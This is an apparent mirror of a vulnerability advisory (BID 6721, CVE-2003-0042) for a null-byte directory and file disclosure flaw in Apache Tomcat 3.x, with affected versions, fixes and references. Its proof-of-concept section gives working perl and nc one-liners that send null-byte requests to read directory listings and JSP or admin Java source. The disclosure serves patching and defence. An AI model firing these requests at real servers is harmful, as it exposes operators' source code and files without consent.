Apache Tomcat Null Byte Directory/File Disclosure Vulnerability
BID:6721
Info
Apache Tomcat Null Byte Directory/File Disclosure Vulnerability
| Bugtraq ID: | 6721 |
| Class: | Input Validation Error |
| CVE: |
CVE-2003-0042 |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 26 2003 12:00AM |
| Updated: | Jul 11 2009 08:06PM |
| Credit: | This vulnerability was discovered by Jouko Pynnönen of Online Solutions Ltd. |
| Vulnerable: |
Apache Tomcat 3.3.1 Apache Tomcat 3.3 Apache Tomcat 3.2.4 Apache Tomcat 3.2.3 Apache Tomcat 3.2.1 Apache Tomcat 3.2 Apache Tomcat 3.1.1 Apache Tomcat 3.1 Apache Tomcat 3.0 |
| Not Vulnerable: |
Apache Tomcat 3.3.1 a |
Discussion
Apache Tomcat Null Byte Directory/File Disclosure Vulnerability
Apache Tomcat is prone to a directory/file disclosure vulnerability when used with JDK 1.3.1 or earlier.
It has been reported that remote attackers may view directory contents (even when an 'index.html' or other welcome file). It is also possible for remote attackers to disclose the contents of files.
This vulnerability is due to improper handling of null bytes (%00) and backslash ('\') characters in requests for web resources.
Apache Tomcat is prone to a directory/file disclosure vulnerability when used with JDK 1.3.1 or earlier.
It has been reported that remote attackers may view directory contents (even when an 'index.html' or other welcome file). It is also possible for remote attackers to disclose the contents of files.
This vulnerability is due to improper handling of null bytes (%00) and backslash ('\') characters in requests for web resources.
Exploit / POC
Apache Tomcat Null Byte Directory/File Disclosure Vulnerability
The following proof of concepts were provided:
GET /<null byte>.jsp HTTP/1.0
$ perl -e 'print "GET /\x00.jsp HTTP/1.0\r\n\r\n";' | nc my.server 8080
$ perl -e 'print "GET /admin/WEB-INF\\classes/ContextAdmin.java\x00.jsp HTTP/1.0\r\n\r\n";'|nc my.server 8080
$ perl -e 'print "GET /examples/jsp/cal/cal1.jsp\x00.html HTTP/1.0\r\n\r\n";'|nc my.server 8080
The following proof of concepts were provided:
GET /<null byte>.jsp HTTP/1.0
$ perl -e 'print "GET /\x00.jsp HTTP/1.0\r\n\r\n";' | nc my.server 8080
$ perl -e 'print "GET /admin/WEB-INF\\classes/ContextAdmin.java\x00.jsp HTTP/1.0\r\n\r\n";'|nc my.server 8080
$ perl -e 'print "GET /examples/jsp/cal/cal1.jsp\x00.html HTTP/1.0\r\n\r\n";'|nc my.server 8080
Solution / Fix
Apache Tomcat Null Byte Directory/File Disclosure Vulnerability
Solution:
HP has released an advisory (HPSBUX0303-249) that contains fixes to address this issue.
This issue has been addressed in Apache Tomcat 3.3.1a.
Fixes are available:
Apache Tomcat 3.0
Apache Tomcat 3.1
Apache Tomcat 3.1.1
Apache Tomcat 3.2
Apache Tomcat 3.2.1
Apache Tomcat 3.2.3
Apache Tomcat 3.2.4
Apache Tomcat 3.3
Apache Tomcat 3.3.1
Solution:
HP has released an advisory (HPSBUX0303-249) that contains fixes to address this issue.
This issue has been addressed in Apache Tomcat 3.3.1a.
Fixes are available:
Apache Tomcat 3.0
-
Apache Software Foundation Jakarta Tomcat 3.3.1a
http://jakarta.apache.org/builds/jakarta-tomcat/release/v3.3.1a/
Apache Tomcat 3.1
-
Apache Software Foundation Jakarta Tomcat 3.3.1a
http://jakarta.apache.org/builds/jakarta-tomcat/release/v3.3.1a/
Apache Tomcat 3.1.1
-
Apache Software Foundation Jakarta Tomcat 3.3.1a
http://jakarta.apache.org/builds/jakarta-tomcat/release/v3.3.1a/
Apache Tomcat 3.2
-
Apache Software Foundation Jakarta Tomcat 3.3.1a
http://jakarta.apache.org/builds/jakarta-tomcat/release/v3.3.1a/
Apache Tomcat 3.2.1
-
Apache Software Foundation Jakarta Tomcat 3.3.1a
http://jakarta.apache.org/builds/jakarta-tomcat/release/v3.3.1a/
Apache Tomcat 3.2.3
-
Apache Software Foundation Jakarta Tomcat 3.3.1a
http://jakarta.apache.org/builds/jakarta-tomcat/release/v3.3.1a/
Apache Tomcat 3.2.4
-
Apache Software Foundation Jakarta Tomcat 3.3.1a
http://jakarta.apache.org/builds/jakarta-tomcat/release/v3.3.1a/
Apache Tomcat 3.3
-
Apache Software Foundation Jakarta Tomcat 3.3.1a
http://jakarta.apache.org/builds/jakarta-tomcat/release/v3.3.1a/ -
Debian libapache-mod-jk_3.3a-4woody1_i386.deb
http://security.debian.org/pool/updates/contrib/t/tomcat/libapache-mod -jk_3.3a-4woody1_i386.deb -
Debian tomcat_3.3a-4woody1_all.deb
http://security.debian.org/pool/updates/contrib/t/tomcat/tomcat_3.3a-4 woody1_all.deb
Apache Tomcat 3.3.1
-
Apache Software Foundation Jakarta Tomcat 3.3.1a
http://jakarta.apache.org/builds/jakarta-tomcat/release/v3.3.1a/
References
Apache Tomcat Null Byte Directory/File Disclosure Vulnerability
References:
References:
- Apache Software Foundation Homepage (Apache Software Foundation)
- Tomcat Homepage (Apache Software Foundation)